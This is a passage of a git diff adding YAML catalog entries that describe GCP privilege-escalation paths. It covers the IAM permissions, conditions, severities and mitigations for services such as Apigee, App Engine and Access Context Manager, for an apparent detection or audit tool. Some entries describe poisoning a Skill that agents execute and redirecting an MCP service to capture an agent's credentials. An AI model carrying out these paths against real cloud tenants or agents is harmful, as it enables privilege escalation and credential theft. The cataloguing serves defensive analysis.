src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md#authorization-and-tokens + technique: Read active gcloud/ADC access tokens after Cloud Shell code execution + reason: The active gcloud or ADC token is readable only after victim-session code execution and, when required, browser + authorization; token-cache state and consent are runtime per-user facts outside the project snapshot. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#sql-server-contained-database-authentication--hidden-portable-db-user + technique: Enable contained authentication and create portable SQL Server DB user + reason: The flag does not create a login. A SQL Server principal with CREATE USER rights must issue an in-database + statement; the resulting contained database identity is outside the catalog's Google IAM target kinds and is not + visible in Cloud SQL users.list. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md#invisible-persistence-in-built-container + technique: Build-time environment-variable injection executes as Flex Template builder + reason: The build-time callback depends on attacker control of a particular build invocation's --env values and on + the selected base/tool actually executing the hook. Neither the source of those values nor that runtime tool behavior + is established by a configuration snapshot; a caller who can submit arbitrary Cloud Build steps is already covered + by gcp-cloudbuild-builds-create. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md#poison-a-consumed-custom-image-family + technique: Create poisoned latest image in consumed family + reason: The source disk, image, or snapshot must be controlled by the caller and usable via its exact useReadOnly permission, + then a later VM must boot the new family image. The current rule cannot bind source-resource permission and filesystem + control to the family-consumer target; keep this path out of reachability until those facts are represented. + +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancegroupmanagersupdate--templatevm-permissions--hijack-an-existing-managed-instance-group + technique: Create template and repoint existing MIG + reason: A selected existing MIG must accept a new template whose get/useReadOnly and every referenced image, disk, + network, subnet and metadata permission is satisfied, and its Google APIs Service Agent must be able to use the attached + SA. The current rule cannot bind all template references and permissions to that MIG; suppress the edge until these + joins are machine checked. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-config-controller-persistence.md#durable-instance-iam-binding-krmapihostingkrmapihostssetiampolicy + technique: Instance IAM binding to re-enter KCC + reason: An instance-level roles/krmapihosting.admin binding is a persistent re-entry grant. It reaches the KCC identity + only if that granted principal can also create or update KCC custom resources on the same instance (through container.thirdPartyObjects + or in-cluster RBAC), with a verified instance-to-cluster identity join. That additional grant is not checked by the + current entry. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-api-gateway-enum.md#enumeration + technique: Read a FULL API config and recover an embedded credential + reason: apigateway.apiconfigs.get exposes the spec, but a credential edge needs the decoded OpenAPI content + to contain a live, usable key or password with authority the reader lacks. Backend URLs and JWT audiences + alone are reconnaissance. The snapshot does not inventory or validate embedded credential content or its + downstream authority. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-apigee-enum.md#enumerate-secrets-credentials-and-tls-material + technique: Read an Apigee KVM value or developer-app consumer credential + reason: A KVM value may be arbitrary data; a developer-app key may be revoked or limited to products the + source can already use. A credential edge requires the actual entry/key value, active status, product authorization, + and proof that its authority exceeds the reader's. These content and authorization facts are not collected. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-apigee-enum.md#enumerate-trace-masks-and-resource-iam + technique: Recover a live credential from an Apigee debug trace + reason: apigee.tracesessions.get only permits reading a trace. An edge requires a captured request actually + containing an unmasked, still-valid credential with privileges the reader lacks. Trace bytes, masking results, + and credential validity are runtime/content facts absent from the configuration snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-apigee-enum.md#basic-information + technique: Deploy proxy or shared-flow logic to capture request credentials without an SA + reason: Proxy or flow-hook authoring can intercept traffic, but gaining a credential requires a victim request + to traverse the deployed revision with a reusable secret that the proxy logic can observe and the source + cannot already use. Traffic, request content, secret validity, and destination authorization are runtime + facts; deployment writes alone cannot establish a credential edge. SA-bound Google identity paths are already + modeled by gcp-apigee-proxy-deploy-with-sa-actas and gcp-apigee-sharedflow-flowhook-with-sa-actas. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-engine-enum.md#enumeration + technique: Read a credential in App Engine version variables or source files + reason: appengine.versions.get reveals envVariables and source object pointers, but source bytes also require + storage.objects.get. Neither permission proves a live secret is present or grants its authority. An edge + needs the actual value or source contents, credential validity, and a downstream principal or resource + mapping; these content facts are not in the configuration snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--iamserviceaccountsactas--authenticated-http-dispatch-as-a-service-account + technique: cloudscheduler.jobs.create + iam.serviceAccounts.actAs — one configured OAuth request as a service + account + reason: Creating or updating an HTTP job dispatches configured requests with the selected same-project service + account, but returns neither its OAuth access token nor the downstream response body. The caller obtains + only the effects of requests accepted by a reachable endpoint and authorized by the service account. A + read-only account or an account lacking a useful state-changing operation does not yield an identity or + principal-to-principal edge. Exact privilege gain depends on the chosen method, URI, body, scope, delivery-service-agent + health, downstream IAM and network controls; the current selector cannot prove a self-grant or credential-exfiltration + chain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md#password + technique: Unset Cloud SQL MySQL root database password + reason: Root@% can confer database administrator access if it exists, has no password, and the endpoint is + reachable. The catalog models cloud/Kubernetes identity edges, and neither a usable blank database password + nor network login success is established by the read-only configuration snapshot; these require a database + authentication check. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-workstations-enum.md#enumeration + technique: Other-user credentials on a Cloud Workstations persistent disk + reason: A user with workstation use can read another principal’s credentials only if that workstation’s mounted + persistent home actually contains usable credential content. Workstation IAM and persistentDirectories + metadata do not reveal file contents or credential owner; the configured VM service account is already + covered by gcp-workstations-use-existing-workstation. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md#metadata + technique: VM metadata service-account token theft through workload SSRF + reason: 'The token is obtainable only if an application has an exploitable SSRF that reaches metadata.google.internal, + supplies Metadata-Flavor: Google, and exposes the response. VM configuration and caller IAM grants do not + establish that runtime application vulnerability or exfiltration path.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md#credentials-outside-workload-identity + technique: Non-workload-identity credentials in GKE pod environments and volumes + reason: An env variable, Secret, CSI volume or container file yields another identity only when its runtime + content is a usable credential and its owner is known. Pod/Secret metadata cannot establish that fact. + Static Google SA keys in Secrets are conditionally covered by k8s-cloud-pivot-secret-static-gcp-sa-key; + KSA token reads have separate entries. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md#external-user-authentication-and-standard-node-access + technique: External OIDC issuer or ClientConfig control for GKE user authentication + reason: Issuer trust and RBAC bindings alone do not show attacker control of the issuer, signing key, or + mutable ClientConfig, nor the exact accepted claims. Those external trust/control facts and effective user/group + mapping are required before another Kubernetes principal’s RBAC rights can be inferred. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-data-fusion-enum.md#access-model-notes + technique: Set Data Fusion namespace design-time service account as pipeline runtime identity + reason: datafusion.namespaces.setServiceAccount selects the design-time identity for Preview/Wrangler/validation + on RBAC-enabled 6.10.0+ instances. Pipeline execution uses the service account from the effective compute + profile, so this permission plus actAs does not give runtime execution as the chosen namespace account; + gcp-datafusion-pipelines-create-execute covers the compute-profile VM SA path. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-dataform-enum.md#enumeration + technique: Read credentials that an author hardcoded in Dataform workspace files + reason: Workspace file reads can disclose a stronger identity only if a file contains a live credential. + The credential content, owner, and validity are not control-plane facts; queryDirectoryContents by itself + merely lists files, and readFile is needed for content. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-dataplex-enum.md#enumeration + technique: Read data-profile topNValues that could include a credential + reason: topNValues are sampled table cells. A privilege edge requires an actual live credential in a sampled + value and its owner/scope; scan metadata and dataplex.datascans.getData alone cannot establish either. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md#enumeration + technique: Mount a reachable NFS share and recover a credential stored in files + reason: NFS access depends on the compromised host network, export rule, and POSIX permissions. A stronger + identity is gained only if readable file content contains a live credential; Filestore instance metadata + does not identify one. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-integration-connectors-enum.md#enumerate-connections + technique: Invoke a connection using stored backend credentials + reason: The connection inventory and GCP Invoker permission do not establish that a specific action or SQL statement + succeeds as a distinct backend identity. That requires the current external backend account permissions, credential + validity, connector action schema, and execution result; the GCP snapshot cannot determine them without false + positive identity edges. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md#service-account-private-keys + technique: Use a leaked service-account private key found in public material + reason: A valid leaked service-account private key authenticates as its service account, but the public repository, + log, bundle, or artifact containing it and the key's validity and owner are content and runtime facts absent + from the configuration snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md#bearer-identity-tokens + technique: Reuse a leaked bearer identity token + reason: A valid bearer token can confer a session as its represented identity, but signature validity, audience, + scopes, expiry, and token owner depend on the token and accepting service at runtime, not IAM configuration. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md#service-account-private-keys + technique: Use a leaked service-account private key from public client material + reason: A valid private key in public client material authenticates as its service account, but the material's + contents, key validity, and target service account cannot be inferred from IAM policy or API-key configuration. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md#anonymous-pull-from-a-public-repository + technique: Pull public image layers that may contain credentials + reason: Anonymous Artifact Registry read exposes image bytes; an identity gain requires a valid service-account + key or other credential actually embedded in an image layer, plus its owner and current validity, none of which + the repository IAM grant establishes. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md#ssrf---server-side-request-forgery + technique: Use header-capable SSRF to read a VM service-account metadata token + reason: The VM metadata token would authenticate as its attached service account, but a reachable web application + with header-capable SSRF and a successful request to the metadata server are runtime application and network + facts absent from the snapshot. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-gke-kubelet-unauthenticated-access.md#historical-kubelet-read-only-metadata + technique: Read legacy kubelet /pods metadata that may expose environment credentials + reason: The legacy read-only kubelet port provides pod metadata; a credential gain requires a reachable port 10255 + and a usable credential actually present in a /pods environment value, with owner and validity determined from + live response content. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-google-groups-unauthenticated-enum.md#read-a-publicly-visible-group-archive + technique: Read public Google Groups messages that may contain pasted secrets + reason: A public Google Groups archive discloses messages, not group membership; a credential gain requires a + usable secret actually pasted in a message and validation of its owner and current validity. + +- source: src/pentesting-cloud/workspace-security/README.md#password-spraying + technique: Obtain a Workspace user password by password spraying + reason: Successful guessing of a victim password is an identity gain, but the page supplies only a spray tool. + A valid password, accepted authentication, MFA state and exact victim are runtime facts absent from a configuration + snapshot. diff --git a/src/privilege-escalation-paths-research/gcp/_excluded_sweep.yaml b/src/privilege-escalation-paths-research/gcp/_excluded_sweep.yaml new file mode 100644 index 0000000000..af15cff693 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/_excluded_sweep.yaml @@ -0,0 +1 @@ +# Reviewed privilege-escalation sweep exclusions. diff --git a/src/privilege-escalation-paths-research/gcp/_todo.yaml b/src/privilege-escalation-paths-research/gcp/_todo.yaml new file mode 100644 index 0000000000..70b2073345 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/_todo.yaml @@ -0,0 +1,4 @@ +# GCP catalog items not yet written (blocked during authoring). Kept as comments because the catalog loader parses +# every non-_excluded YAML file in this directory as an entry list; uncomment/move when the loader skips _todo files. +# +# (empty: the Dataform page is now covered by dataform.yaml) diff --git a/src/privilege-escalation-paths-research/gcp/accesscontextmanager.yaml b/src/privilege-escalation-paths-research/gcp/accesscontextmanager.yaml new file mode 100644 index 0000000000..7737f20147 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/accesscontextmanager.yaml @@ -0,0 +1,122 @@ + +- id: gcp-audit-s01-02-loosen-access-level-for-atta + provider: gcp + service: access-context-manager + title: Loosen access level for attacker IP, device, region or principal + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanageraccesslevelsupdate--loosen-context-aware-access + summary: The source can gain loosen access level for attacker IP, device, region or principal. Changing an access + level can activate an IAM-authorized path only for a concrete caller, context and protected consumer; the policy + write alone is insufficient. + requires: + all_of: + - action: accesscontextmanager.accessLevels.update + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-02-loosen-access-level-for-atta + scope: any + aggregate_as: IAP or IAM-Condition protected resource + conditions: + - id: exact_target_evidence + description: Existing exclusion calls this guardrail tamper, but page explicitly says the caller gains passage + through a context gate that formerly excluded it. Missing target evidence evaluates UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc/#accesscontextmanageraccesslevelsupdate--loosen-context-aware-access +- id: gcp-audit-s01-03-create-a-bridge-perimeter-jo + provider: gcp + service: access-context-manager + title: Create a bridge perimeter joining attacker and victim projects + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + summary: The source can gain create a bridge perimeter joining attacker and victim projects. Create uses servicePerimeters.create, + absent from the update entry, but a bridge matters only for a concrete previously blocked API path and two eligible + projects. + requires: + all_of: + - action: accesscontextmanager.servicePerimeters.create + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-03-create-a-bridge-perimeter-jo + scope: any + aggregate_as: cross-perimeter data channel + conditions: + - id: exact_target_evidence + description: Distinct create permission; update-only entry cannot flag this principal. Needs a victim and attacker + project in bridged perimeters. Missing target evidence evaluates UNKNOWN. + - id: existing_iam + description: The concrete protected request must already be IAM-authorized and blocked only by the gate being + changed. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc/#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection +- id: gcp-audit-s01-04-delete-a-perimeter-or-access + provider: gcp + service: access-context-manager + title: Delete a perimeter or access level to remove protection + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + summary: The source can gain delete a perimeter or access level to remove protection. Delete permissions are distinct + from update; a path exists only if the deleted gate blocked a specific IAM-authorized request. + requires: + any_of: + - - action: accesscontextmanager.servicePerimeters.delete + resource: '*' + - - action: accesscontextmanager.accessLevels.delete + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-04-delete-a-perimeter-or-access + scope: any + aggregate_as: VPC-SC or context-aware gate + conditions: + - id: exact_target_evidence + description: Alternative destructive permissions are documented; update-only entry cannot flag them. Missing + target evidence evaluates UNKNOWN. + - id: existing_iam + description: The concrete protected request must already be IAM-authorized and blocked only by the gate being + changed. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc/#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection +- id: gcp-audit-s01-06-delete-or-weaken-a-group-con + provider: gcp + service: access-context-manager + title: Delete or weaken a group context-aware access binding + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#gcpuseraccessbindings-cloud-bindings--context-removal-or-extended-workforce-sessions + summary: The source can gain delete or weaken a group context-aware access binding. A binding deletion or weakening + can unlock access for group members, but a snapshot must join group membership, gate consumer and underlying + permission. + requires: + any_of: + - - action: accesscontextmanager.gcpUserAccessBindings.delete + resource: '*' + - - action: accesscontextmanager.gcpUserAccessBindings.update + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-06-delete-or-weaken-a-group-con + scope: any + aggregate_as: group formerly blocked by context gate + conditions: + - id: exact_target_evidence + description: Exclusion says no IAM identity, but the page documents new access for group members to Console/API + behind a gate. Missing target evidence evaluates UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc/#gcpuseraccessbindings-cloud-bindings--context-removal-or-extended-workforce-sessions diff --git a/src/privilege-escalation-paths-research/gcp/agentregistry.yaml b/src/privilege-escalation-paths-research/gcp/agentregistry.yaml new file mode 100644 index 0000000000..2f28aca470 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/agentregistry.yaml @@ -0,0 +1,103 @@ +# GCP Agent Registry privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-agent-registry-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: agentregistry_skill_consumer -> runtime identity of a managed agent / environment that mounts the +# logical Skill in "{target.artifact_arn}" (floating defaultRevision); agent mount inventory is not collected. + +- id: gcp-agentregistry-skill-default-revision-replace + provider: gcp + service: agentregistry + title: Replace the default revision of a Skill mounted by agents + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md#agentregistryskillrevisionscreate--agentregistryskillsupdate--replace-an-executable-skills-default-revision + source_revision: 171e422 + summary: The source can obtain the privileges of the runtime identity of agents that mount a Skill whose revisions and default pointer it can change. + requires: + all_of: + - action: agentregistry.skillRevisions.create + resource: "{target.artifact_arn}" + - action: agentregistry.skills.update + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: agentregistry_skill_consumer + scope: any + aggregate_as: "Runtime identities of agents mounting Skills the source can repoint" + conditions: + - id: floating_mount + description: The agent must mount the logical Skill (default revision); agents pinned to an immutable revision are unaffected. + - id: execution_on_load + description: The replacement only runs when the agent loads and executes it; refresh, snapshots and caching decide timing, and the agent sandbox and egress policy bound the result. + - id: runtime_identity + description: The runtime identity can be an Agent Identity principal rather than a service account. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/agentregistry.user, editor and admin on Skills, pin agents to immutable revisions and keep security scanning enabled. + notes: Preview service. serviceusage.services.use on the quota project is also needed. +- id: gcp-audit-s01-09-redirect-bound-mcp-service-a + provider: gcp + service: agent-registry + title: Redirect bound MCP service and capture victim Agent Identity API key or OAuth token + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md#agentregistryservicesupdate--redirect-a-bound-target-and-capture-its-agent-identity-credential + summary: The source can gain redirect bound MCP service and capture victim Agent Identity API key or OAuth token. + The redirected Service retains its Binding, but credential capture depends on a later victim invocation, credential + injection and receiver acceptance. + requires: + all_of: + - action: agentregistry.services.update + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-09-redirect-bound-mcp-service-a + scope: any + aggregate_as: external API/Workspace credential + conditions: + - id: exact_target_evidence + description: Exclusion rejects non-GCP IAM credentials, although the page explicitly documents credential theft + and access in SaaS or Workspace tenant. Requires existing binding and victim invocation. Missing target evidence + evaluates UNKNOWN. + - id: runtime_delivery + description: A later authorized victim must invoke through the unchanged Binding, and the attacker receiver + must accept a useful injected credential. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc/#agentregistryservicesupdate--redirect-a-bound-target-and-capture-its-agent-identity-credential +- id: gcp-audit-s01-10-replace-default-executable-s + provider: gcp + service: agent-registry + title: Replace default executable Skill revision + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md#agentregistryskillrevisionscreate--agentregistryskillsupdate--replace-an-executable-skills-default-revision + summary: The source can gain replace default executable Skill revision. The existing entry covers mounted GCP + service accounts; Agent Identity and mounted tool authority need a typed runtime identity and exact consumer + inventory. + requires: + all_of: + - action: agentregistry.skillRevisions.create + resource: '*' + - action: agentregistry.skills.update + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-10-replace-default-executable-s + scope: any + aggregate_as: agent runtime identity + conditions: + - id: exact_target_evidence + description: Entry covers an attached GCP SA but page also allows Agent Identity principal and mounted tools. + Its sole target kind is gcp_service_account, missing those identities. Missing target evidence evaluates UNKNOWN. + - id: runtime_mount + description: The target agent must mount the floating Skill revision and execute it; pinned revisions are unaffected. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc/#agentregistryskillrevisionscreate--agentregistryskillsupdate--replace-an-executable-skills-default-revision diff --git a/src/privilege-escalation-paths-research/gcp/aiplatform.yaml b/src/privilege-escalation-paths-research/gcp/aiplatform.yaml new file mode 100644 index 0000000000..b44fe4bfae --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/aiplatform.yaml @@ -0,0 +1,27 @@ +- id: gcp-vertex-customjob-env-sa-credential + provider: gcp + service: aiplatform + title: Read inline credentials in custom-job environment of a GCP service account + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md#custom-job-information + source_revision: 0b36331 + summary: A readable vertex custom job env contains a verified reusable credential belonging to another GCP service + account. + requires: + all_of: + - action: aiplatform.customJobs.get + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-vertex-customjob-env-sa-credential + scope: any + outcome: credentials + conditions: + - id: verified_content + description: Emit only for exact source, resource, target and scope evidence after verifying credential validity; + absent or incomplete content is UNKNOWN, and metadata or secret names alone do not qualify. + confidence: conditional + severity: high + mitigation: Restrict aiplatform.customJobs.get on sensitive resources; rotate exposed service-account credentials. + references: + - https://cloud.google.com/vertex-ai/docs/reference/rest/v1/projects.locations.customJobs/get diff --git a/src/privilege-escalation-paths-research/gcp/apigee.yaml b/src/privilege-escalation-paths-research/gcp/apigee.yaml new file mode 100644 index 0000000000..aa36d2b286 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/apigee.yaml @@ -0,0 +1,91 @@ +# GCP Apigee privilege escalation techniques (GCP identity only; API traffic/credential tampering is excluded). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-apigee-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-apigee-proxy-deploy-with-sa-actas + provider: gcp + service: apigee + title: Deploy a proxy revision bound to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeeproxiescreate--apigeedeploymentscreate--apigeeproxyrevisionsdeploy--iamserviceaccountsactas--deploy-a-malicious-api-proxy-revision + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: apigee.proxyrevisions.deploy + resource: "*" + - action: apigee.deployments.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + any_of: + - - action: apigee.proxies.create + resource: "*" + - - action: apigee.proxies.update + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts bindable to Apigee proxy deployments in {project}" + conditions: + - id: apigee_org + description: The project must host an Apigee organization with an environment the proxy can be deployed to. + - id: proxy_token_use + description: The bound SA is used by proxy policies that authenticate to Google APIs; the source reaches it through requests to its own proxy. + - id: token_creator_for_runtime + description: The proxy SA must be in the Apigee organization's project and the Apigee service agent must be allowed to mint tokens for it (normally Token Creator on the SA); otherwise the proxy cannot obtain Google tokens. + - id: standard_environment + description: Archive-deployment environments and Apigee Space-associated proxies follow different authorization and do not support SA-bound Google authentication in the same way. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Apigee proxy SAs and restrict apigee.proxyrevisions.deploy. + references: + - https://docs.cloud.google.com/apigee/docs/api-platform/security/google-auth/overview + notes: Deploying without a service account needs no actAs and yields no GCP identity (traffic tamper only, excluded). apigee.proxies.create is checked on the organization, apigee.deployments.create on the environment and apigee.proxyrevisions.deploy on the revision; proxies.update is kept as an alternative authoring path for an existing proxy. roles/apigee.apiAdminV2 lacks deployments.create and roles/apigee.environmentAdmin lacks authoring. + +- id: gcp-apigee-sharedflow-flowhook-with-sa-actas + provider: gcp + service: apigee + title: Deploy a shared flow bound to a chosen service account and attach it to an environment flow hook + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeesharedflowscreate--apigeedeploymentscreate--apigeesharedflowrevisionsdeploy--apigeeflowhooksattachsharedflow--execute-a-malicious-shared-flow-across-an-environment + source_revision: 171e422 + summary: The source can obtain the Google API privileges of any service account in the Apigee project on which it holds iam.serviceAccounts.actAs, through a shared flow it deploys and attaches to a flow hook. + requires: + all_of: + - action: apigee.sharedflows.create + resource: "*" + - action: apigee.deployments.create + resource: "*" + - action: apigee.sharedflowrevisions.deploy + resource: "*" + - action: apigee.flowhooks.attachSharedFlow + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts bindable to Apigee shared-flow deployments in {project}" + conditions: + - id: apigee_org + description: The project must host an Apigee organization with a standard (non-archive) environment that serves proxy traffic so the hooked flow executes. + - id: token_creator_for_runtime + description: The SA must be in the Apigee organization's project and the Apigee service agent must be allowed to mint tokens for it; the flow uses the SA only through Google-authentication policies, request by request. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict apigee.flowhooks.attachSharedFlow and apigee.sharedflowrevisions.deploy, and grant actAs only on dedicated Apigee SAs. + references: + - https://docs.cloud.google.com/apigee/docs/api-platform/fundamentals/shared-flows + - https://docs.cloud.google.com/apigee/docs/api-platform/security/google-auth/overview + notes: Without a service account the shared flow yields traffic interception only (excluded). sharedflows.create is checked on the organization, deployments.create and flowhooks.attachSharedFlow on the environment. diff --git a/src/privilege-escalation-paths-research/gcp/apikeys.yaml b/src/privilege-escalation-paths-research/gcp/apikeys.yaml new file mode 100644 index 0000000000..b10fc9f19d --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/apikeys.yaml @@ -0,0 +1,41 @@ +# GCP API Keys privilege escalation techniques (authorization keys bound to a service account only; standard keys are excluded). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-apikeys-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-apikeys-authorization-key-bound-sa + provider: gcp + service: apikeys + title: Create an authorization API key bound to a more-privileged service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md#create-an-authorization-key-bound-to-a-more-privileged-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs and iam.serviceAccountApiKeyBindings.create, through APIs that accept authorization keys. + requires: + all_of: + - action: apikeys.keys.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: iam.serviceAccountApiKeyBindings.create + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts bindable to authorization API keys in {project}" + conditions: + - id: partial_api_scope + description: The key only works against APIs that accept authorization keys (documented for Vertex AI / aiplatform and the Gemini API), within the key's API restriction; it is not a credential for every Google Cloud API. + - id: organization_required + description: The project must belong to an organization; projects without an organization are unsupported. + blockers: + - gcp_deny_policy + - id: org_policy_constraint + constraint: iam.managed.disableServiceAccountApiKeyCreation + confidence: conditional + severity: high + mitigation: Keep constraints/iam.managed.disableServiceAccountApiKeyCreation enforced and restrict roles/iam.serviceAccountApiKeyBindingAdmin and actAs grants. + references: + - https://docs.cloud.google.com/docs/authentication/api-keys + notes: Google documents API Keys Admin, Service Usage Viewer, Service Account User and Service Account API Key Binding Admin as the required roles. The managed constraint allows Gemini-only keys by default. The CreateKey operation returns the key string (serviceusage.operations.get is only needed to poll it). diff --git a/src/privilege-escalation-paths-research/gcp/appengine.yaml b/src/privilege-escalation-paths-research/gcp/appengine.yaml new file mode 100644 index 0000000000..f8c20672d1 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/appengine.yaml @@ -0,0 +1,277 @@ +# GCP App Engine privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-appengine-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Versions run as the app-level default SA (@appspot.gserviceaccount.com) unless a per-version SA is set. + +- id: gcp-appengine-versions-create-actas + provider: gcp + service: appengine + title: Deploy an App Engine version running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#deploy-attacker-controlled-code-as-a-version-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in 